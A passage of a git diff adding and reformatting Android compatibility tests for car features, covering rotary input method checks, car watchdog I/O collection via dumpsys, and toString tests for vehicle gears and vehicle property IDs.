+    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+    private final ContentResolver mContentResolver = mContext.getContentResolver();
+    private final AccessibilityManager mAccessibilityManager =
+            mContext.getSystemService(AccessibilityManager.class);
+
+    /**
+     * Tests that, if a rotary input method is specified via the {@code rotary_input_method} string
+     * resource, it's the component name of an existing IME.
+     */
+    @Test
+    public void rotaryInputMethodValidIfSpecified() throws Exception {
+        assumeHasRotaryService();
+
+        String rotaryInputMethod = dumpsysRotaryServiceProto().getRotaryInputMethod();
+
+        assumeTrue("Rotary input method not specified, skipping test",
+                rotaryInputMethod != null && !rotaryInputMethod.isEmpty());
+        assertWithMessage("isValidIme(" + rotaryInputMethod + ")")
+                .that(isValidIme(rotaryInputMethod)).isTrue();
+    }
+
+    /**
+     * The default touch input method must be specified via the {@code default_touch_input_method}
+     * string resource, and it must be the component name of an existing IME.
+     */
+    @Ignore("TODO(b/184390443)")
+    @Test
+    public void defaultTouchInputMethodSpecifiedAndValid() throws Exception {
+        assumeHasRotaryService();
+
+        String defaultTouchInputMethod = dumpsysRotaryServiceProto().getDefaultTouchInputMethod();
+
+        assertWithMessage("defaultTouchInputMethod").that(defaultTouchInputMethod).isNotEmpty();
+        assertWithMessage("isValidIme(" + defaultTouchInputMethod + ")")
+                .that(isValidIme(defaultTouchInputMethod)).isTrue();
+    }
+
+    private RotaryProtos.RotaryService dumpsysRotaryServiceProto() throws IOException {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        ParcelFileDescriptor pfd = uiAutomation.executeShellCommand(
+                "dumpsys activity service " + ROTARY_SERVICE_COMPONENT_NAME.flattenToString()
+                        + " proto");
+        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+            // TODO(b/184973707): Remove this code once ActivityManager supports dumping a service
+            //                    in proto format.
+            // Skip over:
+            //   SERVICE com.android.car.rotary/.RotaryService ... pid=... user=10
+            //   __Client:
+            //   ____
+            // where underscores represent spaces.
+            byte[] buffer = new byte[1];
+            while (fis.read(buffer) > 0 && buffer[0] != ':') {
+                // Do nothing.
+            }
+            // Skip carriage return and four space indent.
+            fis.skip(5);
+
+            return RotaryProtos.RotaryService.parseFrom(fis);
+        }
+    }
+
+    private void assumeHasRotaryService() {
+        assumeTrue("Rotary service not enabled; skipping test",
+                mAccessibilityManager.getInstalledAccessibilityServiceList().stream().anyMatch(
+                        accessibilityServiceInfo ->
+                                ROTARY_SERVICE_COMPONENT_NAME.equals(
+                                        accessibilityServiceInfo.getComponentName())));
+    }
+
+    /** Returns whether {@code flattenedComponentName} is an installed input method. */
+    private boolean isValidIme(@NonNull String flattenedComponentName) {
+        ComponentName componentName = ComponentName.unflattenFromString(flattenedComponentName);
+        return imeSettingContains(ENABLED_INPUT_METHODS, componentName)
+                || imeSettingContains(DISABLED_SYSTEM_INPUT_METHODS, componentName);
+    }
+
+    /**
+     * Fetches the secure setting {@code settingName} containing a colon-separated list of IMEs with
+     * their subtypes and returns whether {@code componentName} is one of the IMEs.
+     */
+    private boolean imeSettingContains(@NonNull String settingName,
+            @NonNull ComponentName componentName) {
+        String colonSeparatedComponentNamesWithSubtypes =
+                Settings.Secure.getString(mContentResolver, settingName);
+        if (colonSeparatedComponentNamesWithSubtypes == null) {
+            return false;
+        }
+        return Arrays.stream(colonSeparatedComponentNamesWithSubtypes.split(":"))
+                .map(componentNameWithSubtypes -> componentNameWithSubtypes.split(";"))
+                .anyMatch(componentNameAndSubtypes -> componentNameAndSubtypes.length >= 1
+                        && componentName.equals(
+                                ComponentName.unflattenFromString(componentNameAndSubtypes[0])));
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index fc18eb5..8527189 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static com.google.common.truth.Truth.assertThat;
diff --git a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
index dcd572d..8261a14 100644
--- a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
@@ -13,8 +13,8 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package android.car.cts;
 
+package android.car.cts;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
diff --git a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
index 4e45759..7f24d48 100644
--- a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
+++ b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
@@ -85,14 +85,15 @@
     @Test
     public void testRecordsIoPerformanceData() throws Exception {
         String packageName = getContext().getPackageName();
-        runShellCommand("dumpsys " + CAR_WATCHDOG_SERVICE_NAME
-                + " --start_io --interval 5 --max_duration 120 --filter_packages " + packageName);
+        runShellCommand(
+                "dumpsys %s --start_perf --interval 5 --max_duration 120 --filter_packages %s",
+                CAR_WATCHDOG_SERVICE_NAME, packageName);
         long writtenBytes = writeToDisk(testDir);
         assertWithMessage("Failed to write data to dir '" + testDir.getAbsolutePath() + "'").that(
                 writtenBytes).isGreaterThan(0L);
         // Sleep twice the collection interval to capture the entire write.
         Thread.sleep(CAPTURE_WAIT_MS);
-        String contents = runShellCommand("dumpsys " + CAR_WATCHDOG_SERVICE_NAME + " --stop_io");
+        String contents = runShellCommand("dumpsys %s --stop_perf", CAR_WATCHDOG_SERVICE_NAME);
         Log.i(TAG, "stop results:" + contents);
         assertWithMessage("Failed to custom collect I/O performance data").that(
                 contents).isNotEmpty();
diff --git a/tests/tests/car/src/android/car/cts/CarWatchdogManagerTest.java b/tests/tests/car/src/android/car/cts/CarWatchdogManagerTest.java
new file mode 100644
index 0000000..5e81672
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarWatchdogManagerTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import android.car.Car;
+import android.car.watchdog.CarWatchdogManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+public class CarWatchdogManagerTest extends CarApiTestBase {
+    private static String TAG = CarWatchdogManagerTest.class.getSimpleName();
+
+    private CarWatchdogManager mCarWatchdogManager;
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        mCarWatchdogManager = (CarWatchdogManager) getCar().getCarManager(Car.CAR_WATCHDOG_SERVICE);
+    }
+
+    @Test
+    public void testListenIoOveruse() {
+        /**
+         * TODO(b/178199164): Listen for disk I/O overuse.
+         *  1. Add resource overuse listener for I/O resource.
+         *  2. Write huge amount of data to disk such that it exceeds the threshold.
+         *  3. Fetch the I/O overuse stats and check whether the written bytes are >= total written
+         *     bytes.
+         *  4. Check whether the resource overuse listener is called and the provided written bytes
+         *     are >= total written bytes.
+         *  5. Remove the resource overuse listener.
+         */
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/ExceptionsTest.java b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
index 9358a4b..e09f7e0 100644
--- a/tests/tests/car/src/android/car/cts/ExceptionsTest.java
+++ b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static org.junit.Assert.assertEquals;
diff --git a/tests/tests/car/src/android/car/cts/VehicleGearTest.java b/tests/tests/car/src/android/car/cts/VehicleGearTest.java
new file mode 100644
index 0000000..5601757
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/VehicleGearTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.car.VehicleGear;
+import android.car.VehiclePropertyIds;
+import android.util.Log;
+
+import org.junit.Test;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.List;
+
+public class VehicleGearTest {
+    private static final String TAG = "VehicleGearTest";
+
+    /**
+     * Test for {@link VehicleGear#toString()}
+     */
+    @Test
+    public void testToString() {
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_UNKNOWN)).isEqualTo("GEAR_UNKNOWN");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_NEUTRAL)).isEqualTo("GEAR_NEUTRAL");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_REVERSE)).isEqualTo("GEAR_REVERSE");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_PARK)).isEqualTo("GEAR_PARK");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_DRIVE)).isEqualTo("GEAR_DRIVE");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_FIRST)).isEqualTo("GEAR_FIRST");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_SECOND)).isEqualTo("GEAR_SECOND");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_THIRD)).isEqualTo("GEAR_THIRD");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_FOURTH)).isEqualTo("GEAR_FOURTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_FIFTH)).isEqualTo("GEAR_FIFTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_SIXTH)).isEqualTo("GEAR_SIXTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_SEVENTH)).isEqualTo("GEAR_SEVENTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_EIGHTH)).isEqualTo("GEAR_EIGHTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_NINTH)).isEqualTo("GEAR_NINTH");
+        assertThat(VehicleGear.toString(3)).isEqualTo("0x3");
+        assertThat(VehicleGear.toString(12)).isEqualTo("0xc");
+
+    }
+
+    /**
+     * Test if all vehicle gears have a mapped string value.
+     */
+    @Test
+    public void testAllGearsAreMappedInToString() {
+        List<Integer> gears = getIntegersFromDataEnums(VehicleGear.class);
+        for (int gear : gears) {
+            String gearString = VehicleGear.toString(gear);
+            assertThat(gearString.startsWith("0x")).isFalse();
+        }
+    }
+    // Get all enums from the class.
+    private static List<Integer> getIntegersFromDataEnums(Class clazz) {
+        Field[] fields = clazz.getDeclaredFields();
+        List<Integer> integerList = new ArrayList<>(5);
+        for (Field f : fields) {
+            if (f.getType() == int.class) {
+                try {
+                    integerList.add(f.getInt(clazz));
+                } catch (IllegalAccessException | RuntimeException e) {
+                    Log.w(TAG, "Failed to get value");
+                }
+            }
+        }
+        return integerList;
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
new file mode 100644
index 0000000..d5520ab
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
@@ -0,0 +1,340 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.car.VehicleGear;
+import android.car.VehiclePropertyIds;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.List;
+
+@SmallTest
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
+public class VehiclePropertyIdsTest {
+    private static final String TAG = "VehiclePropertyIdsTest";
+
+    /**
+     * Test for {@link VehiclePropertyIds#toString()}
+     */
+    @Test
+    public void testToString() {
+
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INVALID))
+                .isEqualTo("INVALID");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.IGNITION_STATE))
+                .isEqualTo("IGNITION_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_DRIVER_SEAT))
+                .isEqualTo("INFO_DRIVER_SEAT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_EV_BATTERY_CAPACITY))
+                .isEqualTo("INFO_EV_BATTERY_CAPACITY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_EV_CONNECTOR_TYPE))
+                .isEqualTo("INFO_EV_CONNECTOR_TYPE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_EV_PORT_LOCATION))
+                .isEqualTo("INFO_EV_PORT_LOCATION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_EXTERIOR_DIMENSIONS))
+                .isEqualTo("INFO_EXTERIOR_DIMENSIONS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_FUEL_CAPACITY))
+                .isEqualTo("INFO_FUEL_CAPACITY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_FUEL_DOOR_LOCATION))
+                .isEqualTo("INFO_FUEL_DOOR_LOCATION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_FUEL_TYPE))
+                .isEqualTo("INFO_FUEL_TYPE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_MAKE))
+                .isEqualTo("INFO_MAKE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_MODEL))
+                .isEqualTo("INFO_MODEL");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_MODEL_YEAR))
+                .isEqualTo("INFO_MODEL_YEAR");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_MULTI_EV_PORT_LOCATIONS))
+                .isEqualTo("INFO_MULTI_EV_PORT_LOCATIONS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_VIN))
+                .isEqualTo("INFO_VIN");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_ODOMETER))
+                .isEqualTo("PERF_ODOMETER");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_REAR_STEERING_ANGLE))
+                .isEqualTo("PERF_REAR_STEERING_ANGLE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_STEERING_ANGLE))
+                .isEqualTo("PERF_STEERING_ANGLE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_VEHICLE_SPEED))
+                .isEqualTo("PERF_VEHICLE_SPEED");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_VEHICLE_SPEED_DISPLAY))
+                .isEqualTo("PERF_VEHICLE_SPEED_DISPLAY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENGINE_COOLANT_TEMP))
+                .isEqualTo("ENGINE_COOLANT_TEMP");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENGINE_OIL_LEVEL))
+                .isEqualTo("ENGINE_OIL_LEVEL");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENGINE_OIL_TEMP))
+                .isEqualTo("ENGINE_OIL_TEMP");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENGINE_RPM))
+                .isEqualTo("ENGINE_RPM");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.WHEEL_TICK))
+                .isEqualTo("WHEEL_TICK");
+        assertThat(VehiclePropertyIds.toString(
+                VehiclePropertyIds.FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME))
+                .isEqualTo("FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FUEL_DOOR_OPEN))
+                .isEqualTo("FUEL_DOOR_OPEN");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FUEL_LEVEL))
+                .isEqualTo("FUEL_LEVEL");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FUEL_LEVEL_LOW))
+                .isEqualTo("FUEL_LEVEL_LOW");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FUEL_VOLUME_DISPLAY_UNITS))
+                .isEqualTo("FUEL_VOLUME_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.EV_BATTERY_DISPLAY_UNITS))
+                .isEqualTo("EV_BATTERY_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(
+                VehiclePropertyIds.EV_BATTERY_INSTANTANEOUS_CHARGE_RATE))
+                .isEqualTo("EV_BATTERY_INSTANTANEOUS_CHARGE_RATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.EV_BATTERY_LEVEL))
+                .isEqualTo("EV_BATTERY_LEVEL");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.EV_CHARGE_PORT_CONNECTED))
+                .isEqualTo("EV_CHARGE_PORT_CONNECTED");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.EV_CHARGE_PORT_OPEN))
+                .isEqualTo("EV_CHARGE_PORT_OPEN");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.RANGE_REMAINING))
+                .isEqualTo("RANGE_REMAINING");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.TIRE_PRESSURE)).
+                isEqualTo("TIRE_PRESSURE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.TIRE_PRESSURE_DISPLAY_UNITS))
+                .isEqualTo("TIRE_PRESSURE_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.GEAR_SELECTION))
+                .isEqualTo("GEAR_SELECTION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.CURRENT_GEAR))
+                .isEqualTo("CURRENT_GEAR");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PARKING_BRAKE_ON))
+                .isEqualTo("PARKING_BRAKE_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PARKING_BRAKE_AUTO_APPLY))
+                .isEqualTo("PARKING_BRAKE_AUTO_APPLY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.NIGHT_MODE))
+                .isEqualTo("NIGHT_MODE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.TURN_SIGNAL_STATE))
+                .isEqualTo("TURN_SIGNAL_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ABS_ACTIVE))
+                .isEqualTo("ABS_ACTIVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.TRACTION_CONTROL_ACTIVE))
+                .isEqualTo("TRACTION_CONTROL_ACTIVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_AC_ON))
+                .isEqualTo("HVAC_AC_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_ACTUAL_FAN_SPEED_RPM))
+                .isEqualTo("HVAC_ACTUAL_FAN_SPEED_RPM");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_AUTO_ON))
+                .isEqualTo("HVAC_AUTO_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_AUTO_RECIRC_ON))
+                .isEqualTo("HVAC_AUTO_RECIRC_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_DEFROSTER))
+                .isEqualTo("HVAC_DEFROSTER");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_DUAL_ON))
+                .isEqualTo("HVAC_DUAL_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_FAN_DIRECTION))
+                .isEqualTo("HVAC_FAN_DIRECTION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_FAN_DIRECTION_AVAILABLE))
+                .isEqualTo("HVAC_FAN_DIRECTION_AVAILABLE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_FAN_SPEED))
+                .isEqualTo("HVAC_FAN_SPEED");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_MAX_AC_ON))
+                .isEqualTo("HVAC_MAX_AC_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_MAX_DEFROST_ON))
+                .isEqualTo("HVAC_MAX_DEFROST_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_POWER_ON))
+                .isEqualTo("HVAC_POWER_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_RECIRC_ON))
+                .isEqualTo("HVAC_RECIRC_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_SEAT_TEMPERATURE))
+                .isEqualTo("HVAC_SEAT_TEMPERATURE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_SEAT_VENTILATION))
+                .isEqualTo("HVAC_SEAT_VENTILATION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_SIDE_MIRROR_HEAT))
+                .isEqualTo("HVAC_SIDE_MIRROR_HEAT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_STEERING_WHEEL_HEAT))
+                .isEqualTo("HVAC_STEERING_WHEEL_HEAT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_TEMPERATURE_CURRENT))
+                .isEqualTo("HVAC_TEMPERATURE_CURRENT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_TEMPERATURE_DISPLAY_UNITS))
+                .isEqualTo("HVAC_TEMPERATURE_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_TEMPERATURE_SET))
+                .isEqualTo("HVAC_TEMPERATURE_SET");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DISTANCE_DISPLAY_UNITS))
+                .isEqualTo("DISTANCE_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENV_OUTSIDE_TEMPERATURE))
+                .isEqualTo("ENV_OUTSIDE_TEMPERATURE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.AP_POWER_BOOTUP_REASON))
+                .isEqualTo("AP_POWER_BOOTUP_REASON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.AP_POWER_STATE_REPORT))
+                .isEqualTo("AP_POWER_STATE_REPORT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.AP_POWER_STATE_REQ))
+                .isEqualTo("AP_POWER_STATE_REQ");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DISPLAY_BRIGHTNESS))
+                .isEqualTo("DISPLAY_BRIGHTNESS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HW_KEY_INPUT))
+                .isEqualTo("HW_KEY_INPUT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DOOR_LOCK))
+                .isEqualTo("DOOR_LOCK");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DOOR_MOVE))
+                .isEqualTo("DOOR_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DOOR_POS))
+                .isEqualTo("DOOR_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_FOLD))
+                .isEqualTo("MIRROR_FOLD");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_LOCK))
+                .isEqualTo("MIRROR_LOCK");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_Y_MOVE))
+                .isEqualTo("MIRROR_Y_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_Y_POS))
+                .isEqualTo("MIRROR_Y_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_Z_MOVE))
+                .isEqualTo("MIRROR_Z_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_Z_POS))
+                .isEqualTo("MIRROR_Z_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BACKREST_ANGLE_1_MOVE))
+                .isEqualTo("SEAT_BACKREST_ANGLE_1_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BACKREST_ANGLE_1_POS))
+                .isEqualTo("SEAT_BACKREST_ANGLE_1_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BACKREST_ANGLE_2_MOVE))
+                .isEqualTo("SEAT_BACKREST_ANGLE_2_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BACKREST_ANGLE_2_POS))
+                .isEqualTo("SEAT_BACKREST_ANGLE_2_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BELT_BUCKLED))
+                .isEqualTo("SEAT_BELT_BUCKLED");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BELT_HEIGHT_MOVE))
+                .isEqualTo("SEAT_BELT_HEIGHT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BELT_HEIGHT_POS))
+                .isEqualTo("SEAT_BELT_HEIGHT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_DEPTH_MOVE))
+                .isEqualTo("SEAT_DEPTH_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_DEPTH_POS))
+                .isEqualTo("SEAT_DEPTH_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_FORE_AFT_MOVE))
+                .isEqualTo("SEAT_FORE_AFT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_FORE_AFT_POS))
+                .isEqualTo("SEAT_FORE_AFT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_ANGLE_MOVE))
+                .isEqualTo("SEAT_HEADREST_ANGLE_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_ANGLE_POS))
+                .isEqualTo("SEAT_HEADREST_ANGLE_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_FORE_AFT_MOVE))
+                .isEqualTo("SEAT_HEADREST_FORE_AFT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_FORE_AFT_POS))
+                .isEqualTo("SEAT_HEADREST_FORE_AFT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_HEIGHT_MOVE))
+                .isEqualTo("SEAT_HEADREST_HEIGHT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_HEIGHT_POS))
+                .isEqualTo("SEAT_HEADREST_HEIGHT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEIGHT_MOVE))
+                .isEqualTo("SEAT_HEIGHT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEIGHT_POS))
+                .isEqualTo("SEAT_HEIGHT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_LUMBAR_FORE_AFT_MOVE))
+                .isEqualTo("SEAT_LUMBAR_FORE_AFT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_LUMBAR_FORE_AFT_POS))
+                .isEqualTo("SEAT_LUMBAR_FORE_AFT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_LUMBAR_SIDE_SUPPORT_MOVE))
+                .isEqualTo("SEAT_LUMBAR_SIDE_SUPPORT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_LUMBAR_SIDE_SUPPORT_POS))
+                .isEqualTo("SEAT_LUMBAR_SIDE_SUPPORT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_MEMORY_SELECT))
